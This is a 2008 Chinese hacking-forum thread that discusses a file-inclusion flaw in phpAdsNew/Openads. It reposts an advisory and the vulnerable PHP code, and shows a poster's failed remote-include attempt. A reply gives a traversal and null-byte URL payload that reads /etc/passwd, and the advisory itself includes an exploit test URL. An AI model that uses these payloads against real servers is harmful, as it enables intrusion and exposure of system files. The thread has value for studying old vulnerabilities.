Board logo

标题: [讨论]php远程包含问题!~ [打印本页]

作者: 2000gaobo    时间: 2008-7-20 18:04     标题: [讨论]php远程包含问题!~

[讨论]php远程包含问题!~
议题作者:寂寞hacker
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)'


影响版本:
phpAdsNew phpAdsNew 2.0.8 -pr1
phpAdsNew phpAdsNew 2.0.8
phpAdsNew phpAdsNew 2.0.7 rc1
phpAdsNew phpAdsNew 2.0.7
phpAdsNew phpAdsNew 2.0.6
phpAdsNew phpAdsNew 2.0.5
phpAdsNew phpAdsNew 2.0.4 -pr2
phpAdsNew phpAdsNew 2.0.4 -pr1
phpAdsNew phpAdsNew 2.0 beta 6
phpAdsNew phpAdsNew 2.0 beta 5
phpAdsNew phpAdsNew 2.0.9-pr1
phpAdsNew phpAdsNew 2 dev 30092001
phpAdsNew phpAdsNew 2 dev 09102001
Openads Openads 2.0.11
Openads Openads 2.0.10

详细说明:
OpenAds是一款基于PHP的WEB应用程序。
OpenAds不正确过滤用户提交的URI输入,远程攻击者可以利用漏洞以WEB权限执行任意命令。
问题是脚本'Lib-RemoteHost.INC.PHP'对用户提交的'phpAds_geoPlugin'参数缺少过滤,指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意命令。

参考:
漏洞提供者
Ma$tEr-0F-De$a$t0r
解决方案:
目前没有解决方案提供:
http://www.openads.org/
测试方法:

[警 告]

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

http://www.example.com/libraries ... pAds_geoPlugin=EviL ShEll

以上为漏洞简介,有问题的代码如下:

function phpAds_geoLookup()
{
  global $phpAds_config, $phpAds_geoPluginID;
  
  if (!$phpAds_config['geotracking_type'])
    return;
  
  // Load plugin
  $phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
  if (@file_exists($phpAds_geoPlugin))
  {
    include_once ($phpAds_geoPlugin);
   
    if (isset($_COOKIE['phpAds_geoInfo']))
    {
      // Use cookie if available
      $geoinfo = explode('|', $_COOKIE['phpAds_geoInfo']);
      
      if (count($geoinfo) == 13)
      {
        $geoinfo = array(
            'country'    => $geoinfo[0] != '' ?  $geoinfo[0] :  false,
            'continent'    => $geoinfo[1] != '' ?  $geoinfo[1] :  false,
            'region'    => $geoinfo[2] != '' ?  $geoinfo[2] :  false,
            'fips_code'    => $geoinfo[3] != '' ?  $geoinfo[3] :  false,
            'city'      => $geoinfo[4] != '' ?  $geoinfo[4] :  false,
            'postal_code'  => $geoinfo[5] != '' ?  $geoinfo[5] :  false,
            'latitude'    => $geoinfo[6] != '' ?  $geoinfo[6] :  false,
            'longitude'    => $geoinfo[7] != '' ?  $geoinfo[7] :  false,
            'dma_code'    => $geoinfo[8] != '' ?  $geoinfo[8] :  false,
            'area_code'    => $geoinfo[9] != '' ?  $geoinfo[9] :  false,
            'org_isp'    => $geoinfo[10] != '' ? $geoinfo[10] :  false,
            'netspeed'    => $geoinfo[11] != '' ? $geoinfo[11] :  false,
            'fingerprint'  => $geoinfo[12] != '' ? $geoinfo[12] :  false
          );
        
        // Check cookie validity
        $fingerprint = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getFingerprint');
        
        if ($geoinfo['fingerprint'] == $fingerprint)
          return $geoinfo;
      }
    }
  
    // No cookie or invalid cookie
    $geoinfo = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getGeo',
        $_SERVER['REMOTE_ADDR'],
        $phpAds_config['geotracking_location']
      );
   
    // Add fingerprint
    $geoinfo['fingerprint'] = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getFingerprint');
   
    return $geoinfo;
  }
  
  return false;
}


关键是这句
$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
  if (@file_exists($phpAds_geoPlugin))
  {
    include_once ($phpAds_geoPlugin);

phpAds_geoPlugin参数没有过滤好,可是提交

libraries/lib-remotehost.inc.php?phpAds_geoPlugin=http://www.baidu.com/1.txt

却显示空白页面,小弟PHP不会,麻烦哪位大大看看!Thank!成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。


帖子428 精华12 积分4620 阅读权限100 性别男 来自云南 在线时间172 小时 注册时间2006-2-7 最后登录2008-7-16 查看个人网站
查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?

寂寞宝贝
荣誉会员

作者: hua668    时间: 2008-7-20 18:04

郁闷中。。。。。。。。。。哪位大虾指教下。难道都泡妞去鸟?成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。

帖子428 精华12 积分4620 阅读权限100 性别男 来自云南 在线时间172 小时 注册时间2006-2-7 最后登录2008-7-16 查看个人网站
查看详细资料引用 报告 回复 TOP 软件项目外包

ring04h
团队执行官

作者: wy4302    时间: 2008-7-20 18:04

$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
//变量 $phpAds_geoPlugin 初始化.
  if (@file_exists($phpAds_geoPlugin)) //判断包含文件是否存在.
  {
    include_once ($phpAds_geoPlugin); // 如果为真,包含之。

这个属于本地包含! 利用几率很小。(PHP < 4.2.3 可以用 %00 来截断后面的 inc.php)
因为$phpAds_config[&#39;geotracking_type&#39;] 有声明。

利用方式为:
http://www.example.com/libraries ... c.php?phpAds_config[&#39;geotracking_type&#39;]=/../../../../../etc/passwd%00
帖子3923 精华128 积分209640 阅读权限200 性别男 在线时间1095 小时 注册时间2007-10-23 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 爱要怎么说出口

落叶纷飞
荣誉会员





欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2